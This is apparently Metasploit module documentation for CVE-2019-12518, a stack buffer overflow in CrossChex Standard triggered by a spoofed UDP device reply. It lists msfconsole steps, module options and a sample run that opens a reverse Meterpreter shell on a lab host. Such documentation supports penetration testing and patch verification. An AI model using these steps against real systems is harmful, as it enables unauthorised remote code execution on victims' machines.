2.5 KiB
Introduction
CrossChex is a personnel identity verification, access control, and time
attendance management system compatible with Windows 7,8 & 10. It uses
UDP broadcasts to identify and connect with Access Control devices on a
network. The code used to handle a response from an Access Control
device is vulnerable to a Stack Buffer Overflow attack on CrossChex
versions Crosschex Standard x86 <= V4.3.12. Tracked as CVE-2019-12518,
and as such permits arbitrary code execution.
The code used to overflow the Stack Buffer and code an attacker wishes
to be executed as a result of the exploit are sent in a single UDP
packet as a response to the CrossChex broadcast. As both the exploit and
the payload must be contained inside a single UDP packet, an exploit has
a maximum size of 8947 Characters.
This module exploits CVE-2019-12518 by listening for a CrossChex "new
device" broadcast for a given number of seconds (TIMEOUT). It then
responds with a UDP packet containing shellcode for both the Buffer
Overflow exploit and the attacker's chosen payload. The Space payload
option ensures no payload of too large a size is used to ensure
successful exploitation. If a broadcast is not detected within the given
TIMEOUT, the module exits with a warning.
Verification Steps
- Start
msfconsole use windows/misc/crosschex_device_bofset LHOST vboxnet0run- Open CrossChex
- Navigate to Device > Add
- Select
Search - Verify payload executes correctly
Options
TIMEOUTSeconds module waits for broadcast, defaults to1000.CHOST. Address UDP packet response is sent from. Defaults to0.0.0.0.CPORT. Port UDP packet response is sent from. Defaults to5050as CrossChex expects communication from this port.
Compatible Payloads
Any basic x86 windows payload.
Payload Options
As above.
Scenarios
msf5 exploit(windows/misc/crosschex_device_bof) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] CrossChex broadcast received, sending payload in response
[*] Payload sent
[*] Sending stage (180291 bytes) to 192.168.56.3
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49160) at 2020-02-10 16:21:13 +0000
meterpreter > ls
Listing: C:\Program Files\Anviz\CrossChex Standard
==================================================
...